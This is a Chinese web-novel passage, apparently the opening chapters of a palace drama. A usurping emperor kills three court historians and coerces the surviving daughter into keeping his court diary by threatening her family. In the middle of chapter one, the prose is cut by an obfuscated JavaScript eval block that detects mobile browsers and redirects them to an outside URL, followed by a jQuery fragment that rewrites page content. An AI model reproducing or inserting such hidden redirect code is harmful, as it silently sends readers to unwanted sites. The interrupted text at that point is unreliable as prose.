《硬刚狗皇帝的那些年》 1. 第一章-这个男人是我倒霉的开端 我是一个史官,每天按时上班,爱吃玉露酥山。 当我蹲在史馆墙角瑟瑟发抖,屏息凝神听着外头的动静时,二叔笑呵呵地拢着袖子跑到我身边道:“缨缨,明日休沐,咱们一家子去东市耍,叔给你买玉露酥山吃。” 我差点晕过去,外面在轰轰烈烈地夺权篡位,上演天家手足相残的狗血大戏,他竟然有心情跟我讨论小甜点! 一直闹到午后,外头方平息了些,我鼓起勇气打开门,抓了个路过的小太监问究竟发生了什么,小太监告诉我,四皇子篡位了,砍了两个哥哥的脑袋,坐进了宣政殿里,现在正伙同一干党羽,逼宰相就范呢。 我越听越震惊,下巴缓缓掉了下来。 真他妈世事难料啊。 老皇帝前日才驾崩,几个皇子今日就在灵前大打出手,好一群孝子贤孙,让他们爹知道还不生生气活过来? 再说四皇子李斯焱平时看着闷声不吭,没想到造反的姿势居然如此丝滑流畅…… 我马上扭头对我哥播报这个消息:“哥你听见了吗,四皇子他……” 我哥保持着高贵的淡定,回答道:“哦。” 顿了一顿,他犯了职业病,起身拿笔,边拿边念叨:“这是大事,我得记下来。” 我看他一副老神在在的模样,恨不得抓紧他的胳膊狂摇:“哥你不怕吗?这是谋权篡位啊!弄不好要掉脑袋的!” 我哥疑惑道:“他们闹他们的,关我们史官什么事。” 大概是觉得我丢了史官世家的脸面,我爹板起脸训我道:“你阿兄说得对,随便开一本国史看看,瞧瞧哪一任皇帝是太太平平继位的,咱们做史官,逢大事要有静气,别满屋子乱晃。” 我有些委屈,又跑去门口听墙角,听见阿爹在后头喊我:“你坐下,先把今天的活干完!” 他话音未落,史馆的门突然被敲响了,敲门声规律而刻板,是宫里的敲法。 我开门一看,来的是一个面生的老内侍。 内侍的脸皮子像条老沙皮狗一样往下耷拉,眼皮低垂。 他的嗓子很尖,环顾四周后,对我父亲道:“新皇宣史馆修撰觐见,沈大人,随老夫来一趟吧。” 我父亲没有动。 二叔则抬起眼,客气地迎上去。 “新帝即位,我等惶恐,还请内侍爷爷透露则个,陛下是宣百官觐见,还是单单找我阿兄?”他笑着问。 内侍淡淡道:“眼下百官都在殿上站着呢,圣上突然想起了沈编撰,想必是要过问一番,这本朝的国史里,哪些该写,那些又不该写。” 二叔的脸色一下便白了。 我看到我的父亲因长期伏案而弯曲的脊背突然间直起,整个史馆一片鸦雀无声,死寂。 我父亲没有推辞,也没有做任何挣扎,他只是点点头,礼貌道:“稍等,容沈某与女儿道个别。” 他向我转来,严肃的脸上难得地露出了一点温情的笑意。 在我困惑的眼光中,他用力地抱了我一下,温声道:“缨缨,以后若丢了这份差事,就去洛阳投奔你姑姑,她会照料你长大出嫁。” 他顿了顿,又道:“……你要记得,我沈家世代修史亦是修心,为人者,仰不愧于天,俯不怍于地,祖宗教诲亦云,清白来去,无怨无悔。” 我的差事?我疑惑地心想,我是女孩子,做史官虽有月俸,却只能算是帮工,丢了也就丢了,哪用得着特地吩咐呢。 远嫁洛阳的姑姑,我已有多年未见,阿爹无端提起这个做什么。 那时的我还不明白原因,只是胡乱答应了一声:“哦。” 说罢阿爹便走了,浅红色的衣袍在风中翻飞,孑然一身走入那座巨兽般狞厉的宫廷,在很多年后的噩梦里,我依旧会见到这幅图景,他不回头地走,再一点一点,一寸一寸地被那只巨兽啃噬掉,他留下了什么呢,只有那句轻飘飘的话:仰不愧于天,俯不怍于地,清白来去,无怨无悔。 就这样安排掉了女儿的后半生,然后挺直祖传的腰板,去迎接属于史官的最后荣耀。 阿爹离开不久,便轮到了我的二叔。 我的二叔同样给我留了一些话,但比起我爹要实在得多,一共有三条。 第一条,他让我告诉我婶子,把刚十岁的儿子送去乡下祖宅找亲戚代为抚养,这样她就可以随心所欲地改嫁了。 第二条,长安东城房价可能要跌,所以趁早把安邑坊的宅子卖掉,换到别处去。 最后,他藏了些私房,就在后罩房小厮赵二居住那间房侧面的狗洞里,约莫二两黄金和一只玉扳指,玉扳指孝敬侄女我,金子则留给婶子。 我惊慌道:“二叔你这每一条,说出来都会让婶子提刀来杀你的!” 二叔仰天大笑:“若真能做她的刀下亡魂,那倒也不错。” “只可惜没办法带你再吃一趟玉露酥山了,往后你一个人去吃吧。” 他摸摸我的脑袋,眼里隐隐有泪光闪动。 直到此刻,我才意识到事情有些不对,恐惧突然蔓延出来,扼住了我的喉咙,让我的四肢百骸动弹不得。 阿爹和二叔的声音萦绕不去,一个可怕的猜想在心里慢慢成形。 我想起来开蒙时阿爹给我讲的故事,春秋时晋大夫赵盾弑君,为改史书,三杀史官,看阿爹和二叔的意思,莫非这种几百年一遇的神经病皇帝,不巧就被我们给赶上了? 他刚才与我说的,那都是遗言啊! “二叔,二叔你不能去!”我的嘴唇剧烈地哆嗦起来,用力抓住他的胳膊,把布衣都掐得变了形:“小川才刚考了秀才,他需要你的,还有婶子,你舍得让她难过吗!” 一贯能言的二叔这次只是沉默,我孤立无援,扭头凶我哥哥:“哥哥你愣着干嘛,把二叔拉住啊!” 哥哥一声不吭,我呆呆地看向他,泪水一点点涌了上来。 那个嗓音尖尖的内监又再次推门而入。 他面色狞白,目光淡漠,像是地狱里爬出来收命的伥鬼,来人间俯瞰着自己的下一个猎物。 我不知哪里来的孤勇,一手抓着二叔,一手抓起身边的仙鹤铜灯架,恶狠狠道:“你滚开!我们不去见什么劳什子皇帝,你敢动我二叔,老娘和你拼命!” 那内侍看了眼我的灯架,漠然道:“老夫敬沈家世代清流,才未施以武力,让你们体体面面地去,若是不想要这个体面,说一声便是,用不着做这等粗鄙之举。” 我不吃这一套,把灯架舞得虎虎生威,大有一夫当关万夫莫开之势,可我儒雅随和的二叔却道:“缨缨,别莽撞,把灯放下。” 我发急道:“他要杀你!” 二叔不以为意,坦然地拂掉我死死抓着他衣袖的手指,安慰道:“缨缨别怕,你想想,舒舒服服就名留汗青,对我们史官来讲是好事,很值的。” 我不住地摇头,泪水簌簌而下。 名留汗青算什么?都是留给后人看的,我只想要亲人好好地活在长安城的阳光下,把这座城里发生的所有琐事一点点记到书册里,我家祖祖辈辈都是这样过来的,凭什么到阿爹和二叔这里,就不行了呢? 但我留不住他,两三个内侍撕扯下,二叔还是走了,他迎着大明宫里耀眼的日光,纵声大笑振衣而去,慷慨如易水岸边的燕人。 他当了一辈子修史人,第一次走进轰烈无常的历史,我看着他的背影,扯着嗓子哭喊,几乎将心肺都呕出来。 声音凄厉到不像人类。 我发疯一样想冲上去和他一起见皇帝,却被门口的侍卫一掌推倒在地,我满脸泪痕,哽咽着爬起来,哥哥突然对我道:“缨子,算了。” 他的手轻轻落在我的肩头,如同一片轻羽。 他的话比阿爹和二叔都短,或许是无话可说,或许是知道多说无益,保重,这是我哥哥留给我的最后两个字。 不过半天而已,短短的时间尚不够我做一首诗,却能接连夺走我的三个亲人。 一个人的史馆空空荡荡,四壁静极,我抱着膝盖缩在角落,浑身都发着冷,无数个闪念乱糟糟地纠结成一团,阿爹,二叔和哥哥都走了,只有我一个,我该听阿爹的话去洛阳吗?我以后怎么办?这一切也会轮到我吗?会吗? 如果真的轮到我了,我能怎样呢? 过了很久,史馆的大门开了一条缝,我抬起眼看去,那无常一般的内侍又出现了,他高高在上,满怀悲悯与无情,看着眼前哭得抽抽噎噎的小娘子,缓缓道:“陛下说了,史馆里但凡是能喘气儿的,统统带到殿上,如今这儿只剩你了,沈小娘子,这边请吧。” 他的声音很尖利,像银刀划过玉盘,也像一把锯子,不动声色地劈开我的头顶。 我茫然四顾,是的,如今史馆只剩我了。 目光扫过层层叠叠的藏书,那些纠结成乱麻的闪念被我悉数撕开,我想,人是有命运的,看多了浩如烟海的记载,会发现世间之事不过生老病死,枯荣交替,一生中会做什么事,会爱什么人,往往从一出生起就已注定了,那么,我只能沿着我的道路大步往前走,这条路阿爹走过,二叔走过,哥哥也走过,现在也轮到我。 一瞬间里,我做下了决定,抬起袖子,狠狠擦干眼泪道:“你带我去吧。” * 他把我的眼睛蒙上,带我走去宣政殿。 宣政殿上站着许多朝臣,年轻的,年老的,他们是帝国的心脏,全都是我熟悉的面孔,主持过修史的宰相,门下省里见过的叔伯,可他们此刻都不忍再看我。 我的大脑嗡嗡作响,尽力维持着身体的平稳,一步步走上恢弘宽阔的大殿。 多少次我梦想能当上正经的女史官,跟着阿爹一起上朝,可没想到,我头一次上宣政殿,竟然是这番情形。 虽有心理准备,但当我看到殿前刺眼的那滩鲜血时,还是止不住地颤抖了起来。 这是阿爹,还是二叔,还是哥哥的? 从此红色成了我最恨的颜色,我恨朱红的大明宫,恨绛红的官袍,也恨起了那端坐上位,满手沾着淋漓鲜血的狗皇帝。 珠帘后,年轻的皇帝面无表情地端详着我,他面貌俊美,神色凌厉,有一双漂亮的凤眼,遗传自他身份卑贱的亲生母亲。 那双眼睛里映着小小的我——一个发丝凌乱,双眼通红,体面全无,状若疯妇的女人。 “怎么是个女的?” 他不悦的声音徐徐从上座传来,在空旷的大殿里回响。 带我来的内侍恭敬地上前答道:“陛下,他们沈家是史官世家,她叫沈缨,是史馆里最后的编撰。” 内侍看了我可怜透了的模样,终是动了一点恻隐之心,小声道:“沈小娘子现年十五,父兄皆亡,家里只剩一对隔房的孤儿寡母。” “唔。” 把我从头到脚打量了一番,狗皇帝意兴索然地摆手:“你把她带下去吧,一个小女孩儿,算得什么史官。” “你他妈又算得什么皇帝!” 我突然抬起了头,指着他尖声骂道。 满座皆惊,群臣哗然。 内侍想冲过来捂我的嘴,被我一股大力给撺在地上。 欺天的愤怒烧穿了我的理智,也烧光了我作为史官最后的冷静,我崩溃了,不想装了,现在我就是整个长安城最疯的疯妇,去他妈的忠君爱国,难道宣政殿上坐了条狗,我就要向狗低头吗? 做他的春秋大梦去! 我向他啐了一口,用人类嗓子能发出最刺耳的声音,声嘶力竭骂道:“女子?身为女子又怎样!老娘跪在太史公排位前立过誓,编过本朝的八十年国史,祖上自前朝起做过十三代史官,忠烈声名四海皆闻,真是笑话!凭你一个窃国弑兄的乱臣贼子,也配问我算什么史官?李斯焱我告诉你,我们做史官之人,俯仰无愧清白来去,千秋功过秉笔直书,你杀了我们好了,再杀上几千个史官,也堵不住天下悠悠之口!” 脊背上一股大力袭来,那内侍喘着粗气,唤来两个孔武有力的力士,死死压住了我的头颅。 那力士下手毫不容情,我的尾音还飘在空中,侧脸已经重重磕在冷硬的砖石上,口中一痛,血腥味儿在嘴里蔓延开,可即使如此,我依然用尽了力气挣扎,只因——妈的,老娘还没骂够呢! 自打踏出史馆的第一步起,我就没想过能活着走出宣政殿。 “本朝以仁孝安天下,高祖太宗费尽心血建立祖宗法纪,而今不过得国八十载,先皇尸骨未寒,你竟能做出弑兄这等天理难容之事,也不怕一道天雷劈死你!……”我挣脱桎梏,怒声骂道。 “要把她的嘴塞上,快!”不知是谁提出了这个缺德的建议。 牙关被撬开,有人将一块手帕蛮横地塞进我的嘴里。 血污模糊了我的眼睛,我的天地变作一坨浓红,我发不出声音,看不见东西,可耳朵还贴在地砖上,而且因固体传声而变得格外灵敏,笃,笃,笃,我听到有人在一步一步向我走近,脚步清晰。 “把她放开。” 是狗皇帝的声音。 “陛下……”押着我的力士犹豫道:“这小娘凶得很。” 狗皇帝冷冷重复了一遍:“放了她。” 力士不敢抗旨,犹豫了一下,还是松开了我。 眼见新皇走近了,那力士怕我狗急跳墙,放我之前特地卸了我两条胳膊。 不愧是御前当差的人,下手又准又辣,我只觉一种无法容忍的剧痛袭来,险些当场晕过去。 忍住,沈缨,忍住。 我死死地咬紧牙关,汗珠簌簌而落,喘息着告诉自己:反正也活不成了,死前非要咬下狗皇帝一块肉不可。 在我沉重的呼吸声中,狗皇帝面带几分古怪的兴味,信步向我走来。 一只沾了泥土与血迹的黑靴翻过了我的脸,皇帝倾下身,用他锐利的狐狸眼细细端详了我一番,突然笑出了声。 这一笑森然恐怖,如毒蛇吐信般令人胆寒。 他凑近我的脸,笑嘻嘻道:“一门四史官,个个都是硬骨头,真是好忠烈的一家子。” 我呜呜地扭动身体,试图爬起身来。 他还在笑,指着那滩血道:“……看到那血了吗?那是第一个上来的史官流的,哦,应该是你阿爹吧,我让他修饰文笔,别在国史里瞎写什么弑君夺权之类的昏话,可惜他说什么也不肯,我只好当庭赐死了他,用的毒药,还算体面,只是七窍流血罢了,全尸还是有的。” 他说得这样轻松,这样满不在乎,甚至还带一点变态般的沾沾自喜,我恨得几乎眼里滴出血来,恨中又有一丝不可置信,这世间竟有这样的恶魔,他不怕下地狱吗? “第二个来的是你二叔哦,他倒是机灵些,没有一口回绝,而是掉了一地的书袋,想说服我回心转意,我听烦了,本想下令杀他,他却早有察觉,未等动手,就一头撞死在了那边的柱子上,还算是聪明。” 他指了指旁边朱红的大柱,上面泼了暗沉的鲜血,已经干了。 “然后是你的哥哥,他瞧见了血迹便什么都明白了,一句话也没说,只求能横刀自刎,我虽然遗憾,却也成全了他。” “然后便是你了,我本不想为难你,可是没料到,沈小娘子这张快嘴这般厉害,真不愧是史官世家,说得好,说得我无地自容。”他伸出手,把我嘴里塞的帕子揪出来,笑道:“再多说点,我爱听。” 我突然暴起,狠狠地一口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599789|187487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咬在他手指上。 他杀了阿爹,二叔和哥哥还不够,还要折辱于我!满满都是高高在上的轻蔑戏谑,何其残忍。 我这一口咬得结实,如果不是一旁的力士冲上来捏开我的腮帮子,说不定狗皇帝的手掌骨都要被我咬一个对穿。 他闷哼一声,看着流着血的手指,露出讶异又困惑的神情:“……你不是做史官的吗?竟然还会咬人。” 他又是一笑,讥诮道:“你家那几个男人,还没一个年轻小娘有血性,这种废物,死了也就死了,不可惜。” 回答他的是我更凶狠的一口,被他敏捷躲开,顺便把我踢到一边去。 内侍们乱哄哄地叫:“陛下受伤了,快,快宣太医!” 我呸地吐出了他的脏血,决定发扬作为史官的传统艺能:嘴炮攻击。 在兵荒马乱的大殿里,我的声音高亢尖锐,锋利如刀,撕破了众臣的耳膜,也撕裂了他们竭力粉饰的太平。 “李斯焱,你不过是个的杂种!掖庭宫里倒夜香的货色,卑贱是刻在血骨里的,你以为你洗得掉吗?哈,果真老鼠生的鼠崽子会打洞,你争不到皇位,只能用卑劣的手段弑君窃国,和你那狐媚子亲娘一脉相承,恶不恶心!” 我知道我今天活不了,所以专拣刺激的骂。 李斯焱出身不好,母亲只是个掖庭宫里的下等奴婢,得君王一度春风,与掖庭中悄悄生养,却因积劳成疾而早逝,一向是这位阴沉的四皇子碰不得的逆鳞。 果然,最幽暗的一道伤疤被我揭起,他的眼神一下变了,由好整以暇猛然变作一只凶猛暴戾的恶兽,恶狠狠道:“你疯了吗!闭嘴!” 不,我不闭嘴,趁着侍卫们还没来抓我,我伏在地上,顶着流血的额头,不管不顾地继续骂道:“我今儿偏要说,有种你来杀了我!满皇城的人都知道你娘不过是个犯官罪女,狐媚祸君才得了你这个孽种,这桩桩件件都是明摆着的!所以你才怕我们史官,因为你做的每一件事都要受千人唾骂,遗臭万年!可你连直面我们都做不到,不过是胆小如鼠一介懦弱匹夫,呸,你他妈算得上什么皇帝!我便是去地下也要睁眼看着,国朝三代江山,要如何亡在你手上!” “沈缨!你找死!” 我骂人有一套,没有人能在我的嘴下撑三个回合。 我成功地气疯了他——一个刚刚篡位成功,亟需塑造深沉形象的君王。 他终于忍到了极限,一把拔出随身的佩剑,抵在我的脖子上,冒着火的双眼死死地盯着我,里面翻腾着滚烫的杀意。 我也冷冷地看着他,带着一丝轻蔑的笑,嘴唇无声地努成两个形状:鼠辈。 空旷的大殿上,我们两个对峙着,凤眼对着杏仁眼,凶狠的恨意在眼神交互处相撞。 谁也不退后哪怕半步,像两只对阎王龇牙的野兽。 就这样僵持,僵持,一盏茶的时间过去了,他却迟迟没割断我的喉咙,我等得烦了,冷冷道:“怎么,不敢杀我?” 他的剑尖动了,我闭上眼,等待着被冰凉的钢剑送上归途。 父兄都以为我会在这场风波里活下来,远远避到洛阳去,远离天家的是是非非,可正如家训所言,俯仰无愧,清白来去,我们沈家的女人,从不屑于苟活。 于我个人,我不会后悔今日的选择,我只觉得可惜,我死了,就没人去告诉婶婶,二叔在狗洞里藏下了二两金子的私房钱了。 * 那剑尖并未刺入我的咽喉,而是微微一转,割下了我一撮散落的头发。 我睁开眼,见到狗皇帝蹲在我面前,眯眼盯着我。 我怔住了,他这是想做甚? 他放下剑,拽着我的头发把我的脑袋拉起来,拉到和他一个水平线上,我奋力挣扎,他却抓得越来越紧,几乎把我的头皮都给撕扯下来。 他轻声对我道:“虽然你罪该万死,但我不想杀你,随随便便让你死了,不是太便宜你了吗?” 我惊骇地瞪大眼。 “你说你要去地下睁眼看着我断送国朝江山,但我瞧没必要,你就舒舒服服地待在内苑里吧,看着我这个杀了你父兄的卑贱恶人,如何励精图治,重整河山,所到之处山呼万岁,百年后受万民敬仰。”他一字一顿道:“你只需在旁看着就好。” “放你娘的狗屁!”我又被气得浑身发抖:“在你边上苟活哪怕一瞬,我都觉得恶心!” 他讥笑道:“那最好了,你越恶心,我就越快意,孤刚刚即位,正巧缺一个写起居注的人,这可是人人眼热的好位置,就让你来吧。” 谁想要这恶心的恩赐! 我不想和这个喜怒无常的神经病多废话一个字了,挣扎着抬起脱臼后剧痛无力的手,去拔头上的簪子。 “沈缨,你家还有别的人吧,” 他突然扯断我的一缕头发,恶意道:“女眷,叔伯,父母高堂,隔房兄弟,再人丁不旺的寒门,凑起来也应该有个十几人?” 我拔簪子的手猛然顿住了,浑身的血一瞬间凉透,如一尊石雕一样,整个人动弹不得。 狗皇帝欣赏着我震惊的神情,笑得更开心了。 他伸手把我的簪子拔下来,随手扔出老远,兴致勃勃道:“沈缨,当廷叱骂是大罪,按律当斩,你说孤把你家统统问斩怎么样?” 我彻底明白了他的意思,从喉咙口发出模糊的悲鸣声。 从古至今,因气节而忤逆自裁者,从来祸不及家人,他做下如此大逆不道之事,连杀了三个史官,竟然只因我当廷骂了几句,便以抄家灭族来威胁我低头! “你……”我浑身颤抖,一个字都说不出。 他松了抓我头发的手,嫌恶地在我衣服上擦了擦,任由我重重摔在地上,发出一声闷响。 他冷哼道:“你说的没错,我的确是个卑鄙小人,凡不听话的人都想杀了,你随便如何骂我都无所谓,可你不该骂我的母亲,她只是个命苦女子,却胜过你们这些满口仁义道德的酸儒千倍万倍。” “沈缨,你若是现在自裁,我马上下令杀掉你家剩下的所有人,五服之内一个不留。” “若还想他们活着,你就乖乖搬去紫宸殿里,去给我写十五年的起居注,满了十五年,我再放你回史馆去,到时候你爱写什么写什么,随你秉笔直书还是怎样,我一个字都不动,你选一个。” 他站起身,把配剑收回鞘中,等待我的回答。 我无法回答他,我额头上的血在流,嘴里的锈味也愈来愈浓,趴在冰凉的地面上,双臂处传来无法容忍的痛楚。 他的话回荡在我耳边,如恶魔的呓语。 我躺在宣政殿冰凉的地面上,木木地想,怎么会这样呢?明明今早,二叔还在笑着对我说,侄女儿,明日休沐,叔叔带你去吃玉露酥山,外头杀声震天,史馆内还一片宁静。 我还以为,这样快乐平凡的日子能永远活下去,有朝一日我会得到一顶御赐的乌纱帽,成为国朝第一位女史官,再嫁给青梅竹马的小哥哥,我们俩攒钱去安邑坊买一个半新不旧的小宅子,生三个小孩童,教他们读书写字,给他们做全天下最好吃的玉露酥山…… 可这一切都没有了,没有了。 时间一点一点地从身旁溜走,我清楚自己别无选择。 心里的一股气泄了,我再也找不到一丝力气去说一句话,像个残破的小褡裢一样,静静地在尘泥中腐烂,或许那个幸福活泼的沈缨从这一刻就不见了,留在世间的不过是一具不能自主的破皮囊而已。 毕竟,有爱的人的世间才是世间,有魔鬼的世间叫地狱。 李斯焱应当在等我的答复,可我已经丧失了发声的力气,意识一点点模糊,直到陷入了昏黑的泥潭。 2. 第二章-善后 昏过去后,我被抬回了紫宸殿,安置在偏殿外一处宫女院落里。 中途醒过一次,我睁开眼,看到一个宫女在给我煎药,她捕捉到我的目光,沉默地别过了头,似乎并不想和我有任何交流。 正好,我也不想言语,巨大的哀恸把我的灵魂打得七零八落,一整天了,我一直没有一丝活气地盯着帐顶,任宫女,内侍,御医来来去去,给我翻身,换药,缠一圈一圈的绷带。 我分不清我的身体是在康复,还是油灯枯尽,好像这两者对我来说也并没有什么区别。 * 傍晚时,夏富贵来探望我,带着一碗散发着奇怪味道的参鸡汤。 这个龟孙见我第一面,就开始叉腰骂我:“缨子,你是不要命了还是失心疯!敢在陛下头上动土,他的性子你又不是不知道,这回活下来真是祖上积德,以后可不许这样了!” 我被他气笑了,抬起刚接好的手臂,指着他簇新的头冠阴阳怪气道:“我道是谁,原是夏大人啊,恭喜恭喜,瞧这帽子,这是高升内侍局总管了吧。” 他声音小下去:“是掖庭总管。” 我的力气突然回来了,抓起床头的瓷杯,用力朝他脑门招呼去,高声骂道:“去你妈的,你这个龟孙子还有脸来见爷爷我,戴着这顶帽子给李斯焱当狗去吧!我是瞎了眼才和你做了几年朋友,真个恶心!” 夏富贵嗷嗷叫着闪避我扔来的杯子,委屈道:“我哪知道陛下会杀你家人啊,我们这种在宫里做事的阉人,哪里知道主子们的计较,缨缨你别生气了,如今大局已定,编撰大人泉下有知,也定会希望你好生过日子嫁人,生几个儿子,太太平平地……” “滚!”我抄起宫女的针线篓子,直照着他的脸砸去。 他匆匆放下慰劳我的鸡汤,兔子一般逃跑了:“缨缨,你现在情绪不稳,我等你想通了再来看你。” “想你大爷的通!给老娘滚!”我破口大骂。 骂完了,四下里一片寂静,我喘着气,无力地躺回了床上。 夏富贵是我在宫里唯一的朋友,小时候进宫认识的,当时他只是个掖庭里一个末流小内侍,跟幼年李斯焱做过同事,曾无意间关照过他几次,李斯焱很记恩,于是甫一上任,就赏了夏富贵一个大官儿当。 往事如残烟,俱往矣,谁知道当年那个消瘦凶悍,眼神像狼崽子一样的小男孩儿,摇身一变成了皇帝呢? 还是一个爱杀史官的狗皇帝。 夏富贵走后没过多久,一个身形瘦削的宫女轻手轻脚走了进来,默默收拾了散落一地的针线。 我对她道:“告诉你们主子,我有话跟他说。” * 宫女禀报给总管,总管禀报给大总管,大总管禀报给皇帝,一下全紫宸殿都知道沈小娘子胆大包天,竟敢传唤皇帝。 皇帝本人没有计较我的无礼。 天色微暗,李斯焱处理完了政务,直接来了我的屋子,看看我脑袋上的绷带,噗嗤一声笑了:“沈起居郎精神甚好,不知可想通了吗?” 他眼睛下面缀着两片浓浓的青灰色,瞧着非常憔悴。 其实夺权篡位也是一门体力活,前头要谋划,中间要执行,后面要收尾,一整套工序下来,他大约已有几日没睡觉了。 我表现得很平静,没有上去咬断他的脖子,也没有骂人,非常直截了当地说:“我要出宫。” “好啊,”他说:“一日够不够。” “不够,我要两日。” “两日啊,会让我怀疑你要逃跑哦。”他笑嘻嘻地,伸出受伤的右手,冲我比了一个数字九的手势。 狗东西,又拿抄家来威胁我。 我面无表情道:“两日,我出宫去处理些家事,回来就开始给你做起居郎,十五年,从那天开始算起。” 他逐渐收敛了笑容,阴沉沉地盯着我道:“沈缨,不管你是出去做什么的,我劝你不要想耍什么花招,我说过,你若胆敢自杀或逃跑,就诛杀了你的亲族,说到做到,你自己掂量。” 我也回敬道:“李斯焱,如今我人微言轻,动不得你,但迟早有一天,我要教你后悔留我的命。” “好啊,我等着。”他疲惫的神色渐渐转为兴奋,像是小男孩在逗弄一只脾气不大好的狸奴。 他凑过来,用一种爬行动物的阴冷声调,在我耳边道:“既然敢把你放在身边,就不怕你这点子报复,沈编撰知不知道,我最喜欢把你们这些满口仁义道德的学究踩在脚下,你越是铮铮傲骨,我就越是想把你的脊梁打断,看你躺在地上哭的样子。” “你尽可一试。”我冷冷地盯着他的眼睛,饱含恨意:“善恶有报,天道轮回,你这种人终将得报应,我等着看。” “朕也等着看。”他轻蔑地笑道:“看看天道会不会报在朕身上。” 我不想再与他纠缠,扭过头去,厌憎地闭上了眼。 他伸手过来,捏住了我的下巴,往上抬,我只觉下颌一痛,险些被他给抬脱臼了。 我咬牙屏住痛呼,对他怒目而视。 他捏着我的下巴,懒懒道:“既然没什么毛病,就别整天像个死人一样躺着,看着真晦气。” 我甩掉他的手,一言不发。 “起来吧,跟着朕出去办点事。”他笑了笑:“兴许办完了这事,你能像先前那样,有点活气儿。” 他唤来内侍和宫女,把我塞进了一套半新不旧的内侍制服中,又把我推出了屋子。 我站在殿前,困惑地皱起眉毛,问他道:“你想做什么?” 他翻身骑上了一匹健壮的乌孙马,居高临下地看着我道:“上来。” 我无比警惕地后退了一步。 他耐心不大好,直接伸出手,像提小鸡仔一样把我抓上了马,然而,他并没有把我摆成正确的骑马姿势,只是随便往马背上一放而已,还没等我反应过来,便一振缰绳,绝尘而去。 我脸朝下,像一块破布一样被搭在马背上,整个人都是懵的。 李斯焱的声音从上方传来:“抓紧,别摔下去落个半身不遂。” “等……等等……啊!” 骏马飞驰,我的惨叫声回荡在长安的夜空中。 ——甚至因为马鞍不断地撞击我柔软的小肚皮,而被颠出了凄惨的颤音。 李斯焱毫无半分怜香惜玉的意思,高声喝到:“驾!” 这是好马,跑起来风驰电掣,我被以一个耻辱的姿势挂在马背上,被抛上去又落下来,直颠得胃中翻江倒海,一不小心,右脸啪地撞在了李斯焱的马鞍上,被夜风一吹,整个右半边脸都失去了知觉。 ——我活了十五年,从来没有被如此粗暴地对待过,气得七窍生烟,张嘴想骂,却化作了一声干呕。 眼前是飞速移动的地面,先是宫里的青砖地,再是宫外的泥地,长安宵禁严格,坊外空无一人,李斯焱纵马奔驰在天街上,最后停在了一座衙门前。 我用力抬起眼,目光虚虚落在了门匾上,上书三个大字:御史台。 他松开了手,我顿时滑下马去,腿软,站不稳,直接栽倒在地,哇地一声吐了出来。 我今日滴水未进,想吐却什么都吐不出,只能呕胆汁,胆汁苦涩,非但把我给恶心了个够呛,还把我的喉咙给烧哑了。 该死的狗皇帝! 我大口大口地喘息着,无比憎恨地盯着李斯焱。 他也在看着我,像是在欣赏我狼狈的模样,见我瞪他,也不生气,眯起一对狐狸眼,好整以暇笑道:“清醒些了吗。” 我哑着嗓子骂道:“你这个……” 话说了一半,又是一阵翻天覆地的难受,我捂住嘴,痛苦地干呕起来。 李斯焱淡淡道:“慢慢吐吧,朕有的是时间。” 慢慢吐?老娘恨不得把酸水喷他一脸! “你有毛病吗李斯焱!”我费力地一字一字挤出来:“我什么都没做错……你凭什么……这样折辱我!” 李斯焱惊讶道:“你跟朕讲道理?朕收拾你,用得着找由头吗?” 我快被气晕了,脸色煞白地指着他道:“你……” 他抬了抬挂着黑眼圈的狐狸眼,懒洋洋道:“朕虽有时间,却没心情等你一宿,一盏茶内你要是还吐不完,明日就别回家料理家事了。” 说到一半,他顿了顿,恶意道:“朕倒觉得回去也没意思,左右你家也不剩几人了,不如你求求朕,朕给你家送几根香烛去……” 他话音未落,我猛地一抬头,一个箭步冲上前,精准利落地朝他袍子上啐了一口。 袍子是上好的提花贡缎,洛阳的织娘辛勤一载方能织得一丈,如今被我啐了一口不明液体,全毁了。 李斯焱勃然变色,闪电般出手,扼住我的脖子,把我重重摁倒在地,我毫不退让,龇出虎牙,照着他的胳膊恶狠狠地咬了下去。 士可杀不可辱,去你妈的狗皇帝,老娘咬死你! 李斯焱嘶了一声,我以为他会按着我的脑袋往地上砸个几下解气,没想到他倒没有对我怎样,而是直接松了手,把我放了。 我一个轱辘爬起来,蹬蹬蹬往后退出好几丈,警惕地盯着他。 他低头看了眼胳膊上鲜血淋漓的牙印子,对我招招手道:“过来。” 我没动。 他的反应有点过分平静了,平静得不太正常,看起来随时会呵呵笑着把我的脑袋拧下来当蹴鞠玩儿。 “过来,不然你婶子的命就别想要了。”他笑道。 妈的,他威胁我。 我用我一根筋的脑子艰难地思前想后一番,最后还是闭了闭眼,咬紧牙关走上前去。 这世界上能让我去冒脑袋被拧下来的风险的东西不多,恰好我婶子的命算一个。 我露出一个引颈就戮的表情,李斯焱笑了笑:“哟,你还知道怕。” “放心吧,朕不杀你,掐你脖子,是防着你咬舌自尽,”他拍拍我的包子脸:“朕还要留着你玩儿呢,怎么可能随随便便把你给砍了?” 我闷不吭声,心道你还不如杀了我呢。 他随意擦了擦流血的胳膊,指了指御史台,示意我进去。 我强忍着剧烈的头晕,艰难地挪动步子,李斯焱却没什么耐心,一手提起我的领子,把我扔进了门槛。 “走快点。”他道:“朕时间不多,若再磨蹭,朕也不知道会对你弟弟做出什么来。” 威胁,又威胁! 我咬紧后槽牙,恨恨地加快了脚步,一个不小心撞在了柱子上,额头上的伤口顿时又渗出了血丝。 李斯焱视而不见,好整以暇道:“左转,过这个院子,去御史台大狱,刑室。” “御史台大狱?” 我顿时明白他为什么要把我带来这里了,回过身抓紧了李斯焱的袖子:“你……你要带我去见什么人!你把我的朋友关起来了?” “松手。”他挑眉道。 在我惊恐的目光中,李斯焱挥手示意狱卒让路,对我淡淡一笑道:“朕最讨厌你清高不屈的样子,现在这副神情,难看是难看了些,倒是顺眼得多了。” “不过你猜对了,”他道:“朕没记错的话,此人与你的确是有几分渊源。” 听见确凿的答案,我只觉得浑身的血都凉了,顾不上头晕,跌跌撞撞跑下了大狱的阶梯。 狱卒想拦我,李斯焱的声音从身后飘来:“不要拦,难得她来一回御史台,任她四下逛逛。” 